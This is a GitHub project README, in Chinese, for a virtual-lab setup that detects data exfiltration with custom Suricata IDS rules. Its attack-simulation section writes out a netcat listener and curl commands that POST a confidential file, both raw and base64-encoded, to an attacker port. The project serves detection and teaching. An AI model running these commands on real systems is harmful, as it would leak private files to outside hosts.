VijayeeshDey/sensitive-data-exfiltration-detection
GitHub: VijayeeshDey/sensitive-data-exfiltration-detection
基于 Suricata IDS 的敏感数据外泄检测实验项目,提供自定义规则用于模拟和检测 HTTP 数据外发攻击。
Stars: 0 | Forks: 0
# 使用 Suricata IDS 检测敏感数据外发
## 概述
本项目演示了如何在虚拟实验室环境中使用 Suricata IDS 模拟和检测敏感数据外发。
设置包括:
- Ubuntu 作为受害者和检测机
- Kali Linux 作为攻击机
- Suricata IDS 用于出站流量监控
- Curl 和 Netcat 用于攻击模拟
## 功能特性
- HTTP POST 外发检测
- 敏感关键词检测
- Base64 编码的 payload 检测
- 大量出站传输检测
- Curl User-Agent 检测
- 可疑外部主机监控
## 使用的技术
- Suricata IDS
- Ubuntu Linux
- Kali Linux
- Netcat
- Curl
- Base64 编码
## 网络架构
| 机器 | 角色 |
|---|---|
| Ubuntu | 受害者 + 检测 |
| Kali Linux | 攻击者 |
## 安装说明
### 安装 Suricata
```
sudo apt update
sudo apt install suricata -y
```
### 克隆仓库
```
git clone https://github.com/your-username/sensitive-data-exfiltration-detection.git
cd sensitive-data-exfiltration-detection
```
## 配置规则
复制规则:
```
sudo cp rules/local.rules /etc/suricata/rules/local.rules
```
测试配置:
```
sudo suricata -T -c /etc/suricata/suricata.yaml
```
## 运行 Suricata
```
sudo suricata -i ens33 -S /etc/suricata/rules/local.rules
```
请将 `ens33` 替换为您的网络接口。
## 攻击模拟
### 启动攻击者监听器
```
nc -lvnp 8080
```
### HTTP POST 外发
```
curl -X POST --data-binary "@/home/user/sensitive/confidential.txt" http://:8080
```
### Base64 编码外发
```
base64 ~/sensitive/confidential.txt | curl -X POST -d @- http://:8080
```
### 大文件传输
```
dd if=/dev/zero of=~/sensitive/largefile.txt bs=1024 count=10
curl -X POST --data-binary "@/home/user/sensitive/largefile.txt" http://:8080
```
## 检测规则
| SID | 描述 |
|---|---|
| 1000001 | 敏感数据外发 |
| 1000002 | HTTP POST 检测 |
| 1000003 | 敏感关键词检测 |
| 1000004 | Base64 外发检测 |
| 1000005 | 大量出站传输 |
| 1000006 | Curl User-Agent 检测 |
| 1000007 | 可疑外部主机 |
## 日志
查看告警:
```
sudo tail -f /var/log/suricata/fast.log
```
详细日志:
```
sudo tail -f /var/log/suricata/eve.json
```
## 屏幕截图
屏幕截图可在 `screenshots/` 目录中找到。
## 结论
本项目演示了 Suricata IDS 如何使用自定义 IDS 签名和网络流量分析来检测多种出站数据外发技术。
## 许可证
MIT 许可证
标签:AMSI绕过, Base64 解码, Curl, DLP, HTTP POST 检测, Netcat, Suricata, 入侵检测系统, 威胁检测, 安全数据湖, 数据渗出检测, 流量监控, 现代安全运营, 网络安全, 网络安全实验, 自定义规则, 虚拟靶场, 隐私保护